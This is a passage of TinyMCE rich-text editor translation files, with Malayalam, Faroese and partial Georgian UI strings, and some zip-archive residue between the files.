"Save": "\u0d30\u0d15\u0d4d\u0d37\u0d2a\u0d4d\u0d2a\u0d46\u0d1f\u0d41\u0d24\u0d4d\u0d24\u0d41\u0d15",
"Find": "\u0d24\u0d3f\u0d30\u0d2f\u0d41\u0d15",
"Replace with": "\u0d2e\u0d31\u0d4d\u0d31\u0d4a\u0d28\u0d4d\u0d28\u0d3f\u0d28\u0d4b\u0d1f\u0d4d \u0d2e\u0d3e\u0d31\u0d4d\u0d31\u0d3f\u0d35\u0d2f\u0d4d\u200c\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Replace": "\u0d2e\u0d3e\u0d31\u0d4d\u0d31\u0d3f\u0d35\u0d2f\u0d4d\u200c\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Replace all": "\u0d0e\u0d32\u0d4d\u0d32\u0d3e\u0d02 \u0d2e\u0d3e\u0d31\u0d4d\u0d31\u0d3f\u0d35\u0d2f\u0d4d\u200c\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Prev": "\u0d2a\u0d3f\u0d28\u0d4d\u0d28\u0d4b\u0d1f\u0d4d\u0d1f\u0d4d",
"Next": "\u0d2e\u0d41\u0d28\u0d4d\u0d28\u0d4b\u0d1f\u0d4d\u0d1f\u0d4d",
"Find and replace": "\u0d15\u0d23\u0d4d\u0d1f\u0d41\u0d2a\u0d3f\u0d1f\u0d3f\u0d1a\u0d4d\u0d1a\u0d41 \u0d2e\u0d3e\u0d31\u0d4d\u0d31\u0d3f\u0d35\u0d2f\u0d4d\u200c\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Could not find the specified string.": "\u0d09\u0d26\u0d4d\u0d26\u0d47\u0d36\u0d3f\u0d1a\u0d4d\u0d1a \u0d35\u0d3e\u0d1a\u0d15\u0d02 \u0d15\u0d23\u0d4d\u0d1f\u0d41\u0d2a\u0d3f\u0d1f\u0d3f\u0d15\u0d4d\u0d15\u0d3e\u0d28\u0d3e\u0d2f\u0d3f\u0d32\u0d4d\u0d32.",
"Match case": "\u0d24\u0d41\u0d32\u0d4d\u0d2f\u0d2e\u0d3e\u0d2f\u0d24\u0d4d",
"Whole words": "\u0d0e\u0d32\u0d4d\u0d32\u0d3e \u0d35\u0d3e\u0d15\u0d4d\u0d15\u0d41\u0d15\u0d33\u0d41\u0d02",
"Spellcheck": "\u0d05\u0d15\u0d4d\u0d37\u0d30\u0d35\u0d3f\u0d28\u0d4d\u0d2f\u0d3e\u0d38\u0d02 \u0d2a\u0d30\u0d3f\u0d36\u0d4b\u0d27\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Ignore": "\u0d05\u0d35\u0d17\u0d23\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Ignore all": "\u0d0e\u0d32\u0d4d\u0d32\u0d3e\u0d02 \u0d05\u0d35\u0d17\u0d23\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Finish": "\u0d05\u0d35\u0d38\u0d3e\u0d28\u0d3f\u0d2a\u0d4d\u0d2a\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Add to Dictionary": "Add to Dictionary",
"Insert table": "\u0d2a\u0d1f\u0d4d\u0d1f\u0d3f\u0d15 \u0d1a\u0d47\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Table properties": "\u0d2a\u0d1f\u0d4d\u0d1f\u0d3f\u0d15\u0d2f\u0d41\u0d1f\u0d46 \u0d38\u0d4d\u0d35\u0d2d\u0d3e\u0d35\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Delete table": "\u0d2a\u0d1f\u0d4d\u0d1f\u0d3f\u0d15 \u0d15\u0d33\u0d2f\u0d41\u0d15",
"Cell": "\u0d05\u0d31",
"Row": "\u0d28\u0d3f\u0d30",
"Column": "\u0d35\u0d30\u0d3f",
"Cell properties": "\u0d05\u0d31\u0d2f\u0d41\u0d1f\u0d46 \u0d38\u0d4d\u0d35\u0d2d\u0d3e\u0d35\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Merge cells": "\u0d05\u0d31\u0d15\u0d33\u0d4d\u200d \u0d15\u0d42\u0d1f\u0d4d\u0d1f\u0d3f\u0d2f\u0d4b\u0d1c\u0d3f\u0d2a\u0d4d\u0d2a\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Split cell": "\u0d05\u0d31\u0d15\u0d33\u0d4d\u200d \u0d35\u0d3f\u0d2d\u0d1c\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Insert row before": "\u0d2e\u0d41\u0d2e\u0d4d\u0d2a\u0d3f\u0d32\u0d4d\u200d \u0d2a\u0d41\u0d24\u0d3f\u0d2f \u0d28\u0d3f\u0d30 \u0d1a\u0d47\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Insert row after": "\u0d2a\u0d3f\u0d31\u0d15\u0d3f\u0d32\u0d4d\u200d \u0d2a\u0d41\u0d24\u0d3f\u0d2f \u0d28\u0d3f\u0d30 \u0d1a\u0d47\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Delete row": "\u0d28\u0d3f\u0d30 \u0d24\u0d1f\u0d4d\u0d1f\u0d3f\u0d15\u0d33\u0d2f\u0d41\u0d15",
"Row properties": "\u0d28\u0d3f\u0d30\u0d2f\u0d41\u0d1f\u0d46 \u0d38\u0d4d\u0d35\u0d2d\u0d3e\u0d35\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Cut row": "\u0d28\u0d3f\u0d30 \u0d35\u0d46\u0d1f\u0d4d\u0d1f\u0d3f\u0d2e\u0d3e\u0d31\u0d4d\u0d31\u0d41\u0d15",
"Copy row": "\u0d28\u0d3f\u0d30 \u0d2a\u0d15\u0d30\u0d4d\u200d\u0d24\u0d4d\u0d24\u0d41\u0d15",
"Paste row before": "\u0d28\u0d3f\u0d30 \u0d2e\u0d41\u0d2e\u0d4d\u0d2a\u0d3e\u0d2f\u0d3f \u0d12\u0d1f\u0d4d\u0d1f\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Paste row after": "\u0d28\u0d3f\u0d30 \u0d36\u0d47\u0d37\u0d02 \u0d12\u0d1f\u0d4d\u0d1f\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Insert column before": "\u0d2e\u0d41\u0d2e\u0d4d\u0d2a\u0d3f\u0d32\u0d4d\u200d \u0d2a\u0d41\u0d24\u0d3f\u0d2f \u0d35\u0d30\u0d3f \u0d1a\u0d47\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Insert column after": "\u0d2a\u0d3f\u0d31\u0d15\u0d3f\u0d32\u0d4d\u200d \u0d2a\u0d41\u0d24\u0d3f\u0d2f \u0d35\u0d30\u0d3f \u0d1a\u0d47\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Delete column": "\u0d35\u0d30\u0d3f \u0d24\u0d1f\u0d4d\u0d1f\u0d3f\u0d15\u0d33\u0d2f\u0d41\u0d15",
"Cols": "\u0d35\u0d30\u0d3f\u0d15\u0d33\u0d4d\u200d",
"Rows": "\u0d28\u0d3f\u0d30\u0d15\u0d33\u0d4d\u200d",
"Width": "\u0d28\u0d40\u0d33\u0d02",
"Height": "\u0d09\u0d2f\u0d30\u0d02",
"Cell spacing": "\u0d05\u0d31\u0d15\u0d33\u0d4d\u200d \u0d24\u0d2e\u0d4d\u0d2e\u0d3f\u0d32\u0d41\u0d33\u0d4d\u0d33 \u0d05\u0d15\u0d32\u0d02",
"Cell padding": "\u0d05\u0d31 \u0d2a\u0d3e\u0d21\u0d3f\u0d02\u0d17\u0d4d",
"Caption": "\u0d24\u0d32\u0d35\u0d3e\u0d1a\u0d15\u0d02",
"Left": "\u0d07\u0d1f\u0d24\u0d4d",
"Center": "\u0d28\u0d1f\u0d41\u0d35\u0d3f\u0d32\u0d4d\u200d",
"Right": "\u0d35\u0d32\u0d24\u0d4d",
"Cell type": "\u0d05\u0d31\u0d2f\u0d41\u0d1f\u0d46 \u0d2e\u0d3e\u0d24\u0d43\u0d15",
"Scope": "\u0d35\u0d4d\u0d2f\u0d3e\u0d2a\u0d4d\u200c\u0d24\u0d3f",
"Alignment": "\u0d05\u0d23\u0d3f\u0d28\u0d3f\u0d30\u0d24\u0d4d\u0d24\u0d41\u0d15",
"H Align": "H Align",
"V Align": "V Align",
"Top": "Top",
"Middle": "Middle",
"Bottom": "Bottom",
"Header cell": "\u0d24\u0d32 \u0d05\u0d31",
"Row group": "\u0d28\u0d3f\u0d30 \u0d17\u0d23\u0d02",
"Column group": "\u0d35\u0d30\u0d3f \u0d17\u0d23\u0d02",
"Row type": "\u0d28\u0d3f\u0d30 \u0d2e\u0d3e\u0d24\u0d43\u0d15",
"Header": "\u0d24\u0d32\u0d15\u0d4d\u0d15\u0d46\u0d1f\u0d4d\u0d1f\u0d4d\u200c",
"Body": "\u0d36\u0d30\u0d40\u0d30\u0d02",
"Footer": "\u0d05\u0d1f\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d31\u0d3f\u0d2a\u0d4d\u0d2a\u0d4d\u200c",
"Border color": "Border color",
"Insert template": "\u0d05\u0d1a\u0d4d\u0d1a\u0d41\u0d15\u0d33\u0d4d\u200d \u0d1a\u0d47\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Templates": "\u0d05\u0d1a\u0d4d\u0d1a\u0d41\u0d15\u0d33\u0d4d\u200d",
"Template": "Template",
"Text color": "\u0d05\u0d15\u0d4d\u0d37\u0d30 \u0d28\u0d3f\u0d31\u0d02",
"Background color": "\u0d2a\u0d36\u0d4d\u0d1a\u0d3e\u0d24\u0d4d\u0d24\u0d32 \u0d28\u0d3f\u0d31\u0d02",
"Custom...": "Custom...",
"Custom color": "Custom color",
"No color": "No color",
"Table of Contents": "Table of Contents",
"Show blocks": "\u0d2c\u0d4d\u0d32\u0d4b\u0d15\u0d4d\u0d15\u0d41\u0d15\u0d33\u0d4d\u200d \u0d15\u0d3e\u0d23\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Show invisible characters": "\u0d05\u0d26\u0d43\u0d36\u0d4d\u0d2f\u0d2e\u0d3e\u0d2f \u0d05\u0d15\u0d4d\u0d37\u0d30\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d \u0d15\u0d3e\u0d23\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Words: {0}": "\u0d35\u0d3e\u0d15\u0d4d\u0d15\u0d41\u0d15\u0d33\u0d4d\u200d: {0}",
"{0} words": "{0} words",
"File": "\u0d2b\u0d2f\u0d32\u0d4d\u200d",
"Edit": "\u0d24\u0d3f\u0d30\u0d41\u0d24\u0d4d\u0d24\u0d41\u0d15",
"Insert": "\u0d2a\u0d24\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"View": "\u0d26\u0d30\u0d4d\u200d\u0d36\u0d28\u0d02",
"Format": "\u0d15\u0d46\u0d1f\u0d4d\u0d1f\u0d41\u0d02\u0d2e\u0d1f\u0d4d\u0d1f\u0d41\u0d02",
"Table": "\u0d2a\u0d1f\u0d4d\u0d1f\u0d3f\u0d15",
"Tools": "\u0d09\u0d2a\u0d15\u0d30\u0d23\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d ",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0d31\u0d3f\u0d1a\u0d4d\u0d1a\u0d4d \u0d1f\u0d46\u0d15\u0d4d\u0d38\u0d4d\u0d31\u0d4d\u0d31\u0d4d\u200c \u0d2e\u0d47\u0d16\u0d32.  \u0d35\u0d3f\u0d37\u0d2f \u0d2a\u0d1f\u0d4d\u0d1f\u0d3f\u0d15 \u0d15\u0d4d\u0d15\u0d3e\u0d2f\u0d3f ALT-F9  \u0d05\u0d2e\u0d30\u0d4d\u0d24\u0d4d\u0d24\u0d41\u0d15. \u0d09\u0d2a\u0d15\u0d30\u0d23 \u0d2a\u0d1f\u0d4d\u0d1f\u0d3f\u0d15\u0d15\u0d4d\u0d15\u0d3e\u0d2f\u0d3f ALT-F10 \u0d05\u0d2e\u0d30\u0d4d\u200d\u0d24\u0d4d\u0d24\u0d41\u0d15.  \u0d38\u0d39\u0d3e\u0d2f\u0d24\u0d4d\u0d24\u0d3f\u0d28\u0d41 ALT-0 \u0d09\u0d02"
});PK
h�\O�cnnprogram/js/tinymce/langs/fo.jsnu�[���tinymce.addI18n('fo',{
"Cut": "Klipp",
"Heading 5": "Yvirskrift 5",
"Header 2": "H\u00f8vd 2",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "T\u00edn kagi hevur ikki beinlei\u00f0is atgongd til setibor\u00f0i\u00f0. Vinarliga br\u00faka CTRL+X\/C\/V snarvegirnar \u00edsta\u00f0in.",
"Heading 4": "Yvirskrift 4",
"Div": "DIv",
"Heading 2": "Yvirskrift 2",
"Paste": "L\u00edma",
"Close": "Lat aftur",
"Font Family": "Stav familja",
"Pre": "Pre",
"Align right": "H\u00f8gra stilla",
"New document": "N\u00fdtt skjal",
"Blockquote": "Blokksitat",
"Numbered list": "Tal listi",
"Heading 1": "Yvirskrift 1",
"Headings": "Yvirskriftir",
"Increase indent": "Vaks inndr\u00e1tt",
"Formats": "Sni\u00f0",
"Headers": "H\u00f8vd",
"Select all": "Vel alt",
"Header 3": "H\u00f8vd 3",
"Blocks": "Blokkar",
"Undo": "Angra ger",
"Strikethrough": "Strika \u00edgj\u00f8gnum",
"Bullet list": "Punkt listi",
"Header 1": "H\u00f8vd 1",
"Superscript": "H\u00e1skrift",
"Clear formatting": "Strika sni\u00f0",
"Font Sizes": "Stav st\u00f8dd",
"Subscript": "L\u00e1gskrift",
"Header 6": "H\u00f8vd 6",
"Redo": "Ger aftur",
"Paragraph": "T\u00e1ttur",
"Ok": "Ok",
"Bold": "Feit",
"Code": "Kota",
"Italic": "Sk\u00e1ktekstur",
"Align center": "Mi\u00f0set",
"Header 5": "H\u00f8vd 5",
"Heading 6": "Yvirskrift 6",
"Heading 3": "Yvirskrift 3",
"Decrease indent": "Minka inndr\u00e1tt",
"Header 4": "H\u00f8vd 4",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Klistra er n\u00fa \u00ed vanligum tekst standi. Innihald ver\u00f0ur n\u00fa klistra sum vanligur tekstur, inntil t\u00fa sl\u00f8kkir hendan standin.",
"Underline": "Undirstrika",
"Cancel": "\u00d3gilda",
"Justify": "L\u00edka breddar",
"Inline": "\u00cd linju",
"Copy": "Avrita",
"Align left": "Vinstra stilla",
"Visual aids": "Sj\u00f3nhj\u00e1lp",
"Lower Greek": "L\u00edti Grikskt",
"Square": "Fj\u00f3rhyrningur",
"Default": "Forsettur",
"Lower Alpha": "L\u00edti Alfa",
"Circle": "Ringur",
"Disc": "Skiva",
"Upper Alpha": "St\u00f3rt Alfa",
"Upper Roman": "St\u00f3rt R\u00f3mverskt",
"Lower Roman": "L\u00edti R\u00f3mverskt",
"Name": "Navn",
"Anchor": "Akker",
"You have unsaved changes are you sure you want to navigate away?": "T\u00fa hevur broytingar, i\u00f0 ikki eru goymdar. Ert t\u00fa v\u00edsur \u00ed at t\u00fa vilt halda fram?",
"Restore last draft": "Endurskapa seinasta uppkast",
"Special character": "Serst\u00f8k tekn",
"Source code": "keldukota",
"B": "B",
"R": "R",
"G": "G",
"Color": "Litur",
"Right to left": "H\u00f8gra til vinstra",
"Left to right": "Vinstra til h\u00f8gra",
"Emoticons": "Emotikonur",
"Robots": "Robottar",
"Document properties": "Skjal eginleikar",
"Title": "Heiti",
"Keywords": "Leitior\u00f0",
"Encoding": "Koding",
"Description": "L\u00fdsing",
"Author": "H\u00f8vundur",
"Fullscreen": "Fullan sk\u00edggja",
"Horizontal line": "Vatnr\u00f8tt linja",
"Horizontal space": "Vatnr\u00e6tt fr\u00e1st\u00f8\u00f0a",
"Insert\/edit image": "Innset\/r\u00e6tta mynd",
"General": "Vanligt",
"Advanced": "Framkomi",
"Source": "Kelda",
"Border": "Rammi",
"Constrain proportions": "Var\u00f0veit lutfall",
"Vertical space": "Loddr\u00e6t fr\u00e1st\u00f8\u00f0a",
"Image description": "L\u00fdsing av mynd",
"Style": "St\u00edlur",
"Dimensions": "St\u00f8dd",
"Insert image": "Innset mynd",
"Zoom in": "Draga inn",
"Contrast": "M\u00f3tsetningur",
"Back": "Aftur",
"Gamma": "Gamma",
"Flip horizontally": "Vippa vatnr\u00e6tt",
"Resize": "Broyt st\u00f8dd",
"Sharpen": "Skerpa",
"Zoom out": "Draga \u00fat",
"Image options": "Mynda valm\u00f8guleikar",
"Apply": "Set \u00e1",
"Brightness": "Lj\u00f3s",
"Rotate clockwise": "Mal runt vi\u00f0 klokkuni",
"Rotate counterclockwise": "Mal runt \u00edm\u00f3ti klokkuni",
"Edit image": "R\u00e6tta mynd",
"Color levels": "Lit stig",
"Crop": "Klipp av",
"Orientation": "Helling",
"Flip vertically": "Vippa loddr\u00e6tt",
"Invert": "Vend \u00f8vut",
"Insert date\/time": "Innset dag\/t\u00ed\u00f0",
"Remove link": "Strika leinki",
"Url": "Url",
"Text to display": "Tekstur at v\u00edsa",
"Anchors": "Akker",
"Insert link": "Innset leinki",
"New window": "N\u00fdggjan glugga",
"None": "Eingin",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Tann URL t\u00fa skriva\u00f0i s\u00e6r \u00fat til at ver\u00f0a ein uttanh\u00fdsis adressa. Ynskir t\u00fa at seta ta\u00f0 kravda http:\/\/ forskoyti frammanfyri?",
"Target": "M\u00e1l",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Tann URL t\u00fa skriva\u00f0i s\u00e6r \u00fat til at vera ein teldupost adressa. Ynskir t\u00fa at seta ta\u00f0 kravda mailto: forskoyti frammanfyri?",
"Insert\/edit link": "Innset\/r\u00e6tta leinki",
"Insert\/edit video": "Innset\/r\u00e6tta kykmynd",
"Poster": "Uppslag",
"Alternative source": "Onnur kelda",
"Paste your embed code below:": "Innset ta\u00f0 kodu, sum skal leggjast inn \u00ed, ni\u00f0anfyri:",
"Insert video": "Innset kykmynd",
"Embed": "Legg inn \u00ed",
"Nonbreaking space": "Hart millumr\u00fam",
"Page break": "S\u00ed\u00f0uskift",
"Paste as text": "Klistra sum tekst",
"Preview": "V\u00eds frammanundan",
"Print": "Prenta",
"Save": "Goym",
"Could not find the specified string.": "Kundi ikki finna leititekst",
"Replace": "Skift \u00fat",
"Next": "N\u00e6sta",
"Whole words": "Heil or\u00f0",
"Find and replace": "Finn og skift \u00fat",
"Replace with": "Set \u00edsta\u00f0in",
"Find": "Finn",
"Replace all": "Skift alt \u00fat",
"Match case": "Samsvara st\u00f3rar og l\u00edtlar b\u00f3kstavir",
"Prev": "Fyrra",
"Spellcheck": "R\u00e6ttstavari",
"Finish": "Enda",
"Ignore all": "Leyp alt um",
"Ignore": "Leyp um",
"Add to Dictionary": "Legg til or\u00f0ab\u00f3k",
"Insert row before": "Innset ra\u00f0 \u00e1\u00f0renn",
"Rows": "R\u00f8\u00f0",
"Height": "H\u00e6dd",
"Paste row after": "L\u00edma ra\u00f0 aftan\u00e1",
"Alignment": "Stilling",
"Border color": "Kant litur",
"Column group": "Teig b\u00f3lkur",
"Row": "Ra\u00f0",
"Insert column before": "Innset teig \u00e1\u00f0renn",
"Split cell": "Syndra puntar",
"Cell padding": "Punt fylling",
"Cell spacing": "Punt fr\u00e1st\u00f8\u00f0a",
"Row type": "Ra\u00f0 slag",
"Insert table": "Innset talvu",
"Body": "Likam",
"Caption": "Tekstur",
"Footer": "F\u00f3tur",
"Delete row": "Skrika ra\u00f0",
"Paste row before": "L\u00edma ra\u00f0 \u00e1\u00f0renn",
"Scope": "N\u00fdtslu\u00f8ki",
"Delete table": "Strika talvu",
"H Align": "Vatnr\u00e6tt stilla",
"Top": "Ovast",
"Header cell": "H\u00f8vd puntur",
"Column": "Teigur",
"Row group": "Ra\u00f0 b\u00f3lkur",
"Cell": "Puntur",
"Middle": "\u00cd mi\u00f0juni",
"Cell type": "Punt slag",
"Copy row": "Avrita ra\u00f0",
"Row properties": "Ra\u00f0 eginleikar",
"Table properties": "Talvu eginleikar",
"Bottom": "Ni\u00f0ast",
"V Align": "Loddr\u00e6tt stilla",
"Header": "H\u00f8vd",
"Right": "H\u00f8gra",
"Insert column after": "Innset teig aftan\u00e1",
"Cols": "Teigar",
"Insert row after": "Innset ra\u00f0 aftan\u00e1",
"Width": "Breidd",
"Cell properties": "Punt eginleikar",
"Left": "Vinstra",
"Cut row": "Klipp ra\u00f0",
"Delete column": "Strika teig",
"Center": "Mi\u00f0a",
"Merge cells": "Fl\u00e6tta puntar",
"Insert template": "Innset form",
"Templates": "Formur",
"Background color": "Bakgrundslitur",
"Custom...": "Laga til...",
"Custom color": "Tillaga lit",
"No color": "Eingin litur",
"Text color": "Tekst litur",
"Show blocks": "V\u00eds blokkar",
"Show invisible characters": "V\u00eds \u00f3sj\u00f3nlig tekn",
"Words: {0}": "Or\u00f0: {0}",
"Insert": "Innset",
"File": "F\u00edla",
"Edit": "Ritstj\u00f3rna",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "R\u00edkt Tekst \u00d8ki. Tr\u00fdst ALT-F9 fyri valmynd. Tr\u00fdst ALT-F10 fyri ambo\u00f0slinju. Tr\u00fdst ALT-0 fyri hj\u00e1lp",
"Tools": "Ambo\u00f0",
"View": "V\u00eds",
"Table": "Talva",
"Format": "Sni\u00f0"
});PK
h�\
�`YY!program/js/tinymce/langs/ka_GE.jsnu�[���tinymce.addI18n('ka_GE',{
"Cut": "\u10d0\u10db\u10dd\u10ed\u10e0\u10d0",
"Heading 5": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 5",
"Header 2": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 2",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u10d7\u10e5\u10d5\u10d4\u10dc \u10d1\u10e0\u10d0\u10e3\u10d6\u10d4\u10e0\u10e1 \u10d0\u10e0 \u10d0\u10e5\u10d5\u10e1 \u10d1\u10e3\u10e4\u10e0\u10e2\u10e8\u10d8 \u10e8\u10d4\u10ee\u10ec\u10d4\u10d5\u10d8\u10e1 \u10db\u10ee\u10d0\u10e0\u10d3\u10d0\u10ed\u10d4\u10e0\u10d0. \u10d2\u10d7\u10ee\u10dd\u10d5\u10d7 \u10e1\u10d0\u10dc\u10d0\u10ea\u10d5\u10da\u10dd\u10d3 \u10d8\u10e1\u10d0\u10e0\u10d2\u10d4\u10d1\u10da\u10dd\u10d7 Ctrl+X\/C\/V \u10db\u10d0\u10da\u10e1\u10d0\u10ee\u10db\u10dd\u10d1\u10d8 \u10d9\u10dd\u10db\u10d1\u10d8\u10dc\u10d0\u10ea\u10d8\u10d4\u10d1\u10d8\u10d7.",
"Heading 4": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 4",
"Div": "\u10d2\u10d0\u10dc\u10d0\u10ec\u10d8\u10da\u10d4\u10d1\u10d0",
"Heading 2": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 2",
"Paste": "\u10e9\u10d0\u10e1\u10db\u10d0",
"Close": "\u10d3\u10d0\u10ee\u10e3\u10e0\u10d5\u10d0",
"Font Family": "\u10e4\u10dd\u10dc\u10e2\u10d8",
"Pre": "\u10de\u10e0\u10d4\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d8",
"Align right": "\u10d2\u10d0\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4 \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",
"New document": "\u10d0\u10ee\u10d0\u10da\u10d8 \u10d3\u10dd\u10d9\u10e3\u10db\u10d4\u10dc\u10e2\u10d8",
"Blockquote": "\u10d1\u10da\u10dd\u10d9\u10d8\u10e0\u10d4\u10d1\u10e3\u10da\u10d8 \u10ea\u10d8\u10e2\u10d0\u10e2\u10d0",
"Numbered list": "\u10d3\u10d0\u10dc\u10dd\u10db\u10e0\u10d8\u10da\u10d8 \u10e1\u10d8\u10d0",
"Heading 1": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 1",
"Headings": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8",
"Increase indent": "\u10d0\u10d1\u10d6\u10d0\u10ea\u10d8\u10e1 \u10d2\u10d0\u10d6\u10e0\u10d3\u10d0",
"Formats": "\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8",
"Headers": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d4\u10d1\u10d8",
"Select all": "\u10e7\u10d5\u10d4\u10da\u10d0\u10e1 \u10db\u10dd\u10e6\u10dc\u10d8\u10e8\u10d5\u10dc\u10d0",
"Header 3": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 3",
"Blocks": "\u10d1\u10da\u10dd\u10d9\u10d4\u10d1\u10d8",
"Undo": "\u10d3\u10d0\u10d1\u10e0\u10e3\u10dc\u10d4\u10d1\u10d0",
"Strikethrough": "\u10e8\u10e3\u10d0 \u10ee\u10d0\u10d6\u10d8",
"Bullet list": "\u10d1\u10e3\u10da\u10d4\u10e2 \u10e1\u10d8\u10d0",
"Header 1": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 1",
"Superscript": "\u10d6\u10d4\u10d3\u10d0 \u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10d8",
"Clear formatting": "\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d8\u10e0\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10e1\u10e3\u10e4\u10d7\u10d0\u10d5\u10d4\u10d1\u10d0",
"Font Sizes": "\u10e4\u10dd\u10dc\u10e2\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0",
"Subscript": "\u10e5\u10d5\u10d4\u10d3\u10d0 \u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10d8",
"Header 6": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 6",
"Redo": "\u10d2\u10d0\u10db\u10d4\u10dd\u10e0\u10d4\u10d1\u10d0",
"Paragraph": "\u10de\u10d0\u10e0\u10d0\u10d2\u10e0\u10d0\u10e4\u10d8",
"Ok": "\u10d9\u10d0\u10e0\u10d2\u10d8",
"Bold": "\u10db\u10d9\u10d5\u10d4\u10d7\u10e0\u10d8",
"Code": "\u10d9\u10dd\u10d3\u10d8",
"Italic": "\u10d3\u10d0\u10ee\u10e0\u10d8\u10da\u10d8",
"Align center": "\u10d2\u10d0\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4 \u10ea\u10d4\u10dc\u10e2\u10e0\u10e8\u10d8",
"Header 5": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 5",
"Heading 6": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 6",
"Heading 3": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 3",
"Decrease indent": "\u10d0\u10d1\u10d6\u10d0\u10ea\u10d8\u10e1 \u10e8\u10d4\u10db\u10ea\u10d8\u10e0\u10d4\u10d1\u10d0",
"Header 4": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 4",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0 \u10e9\u10d5\u10d4\u10e3\u10da\u10d4\u10d1\u10e0\u10d8\u10d5 \u10e0\u10d4\u10df\u10d8\u10db\u10e8\u10d8\u10d0. \u10e2\u10d4\u10e5\u10e1\u10e2\u10d8 \u10e9\u10d0\u10d8\u10e1\u10db\u10d4\u10d5\u10d0 \u10e3\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10dd\u10d7 \u10e1\u10d0\u10dc\u10d0\u10db \u10d0\u10db \u10d7\u10d5\u10d8\u10e1\u10d4\u10d1\u10d0\u10e1 \u10d0\u10e0 \u10d2\u10d0\u10d7\u10d8\u10e8\u10d0\u10d5\u10d7.",
"Underline": "\u10e5\u10d5\u10d4\u10d3\u10d0 \u10ee\u10d0\u10d6\u10d8",
"Cancel": "\u10d2\u10d0\u10e3\u10e5\u10db\u10d4\u10d1\u10d0",
"Justify": "\u10d2\u10d0\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d8",
"Inline": "\u10ee\u10d0\u10d6\u10e8\u10d8\u10d3\u10d0",
"Copy": "\u10d9\u10dd\u10de\u10d8\u10e0\u10d4\u10d1\u10d0",
"Align left": "\u10d2\u10d0\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4 \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5",
"Visual aids": "\u10d5\u10d8\u10d6\u10e3\u10d0\u10da\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0",
"Lower Greek": "\u10d3\u10d0\u10d1\u10d0\u10da\u10d8 \u10d1\u10d4\u10e0\u10eb\u10dc\u10e3\u10da\u10d8",
"Square": "\u10d9\u10d5\u10d0\u10d3\u10e0\u10d0\u10e2\u10d8",
"Default": "\u10e1\u10e2\u10d0\u10dc\u10d3\u10d0\u10e0\u10e2\u10e3\u10da\u10d8",
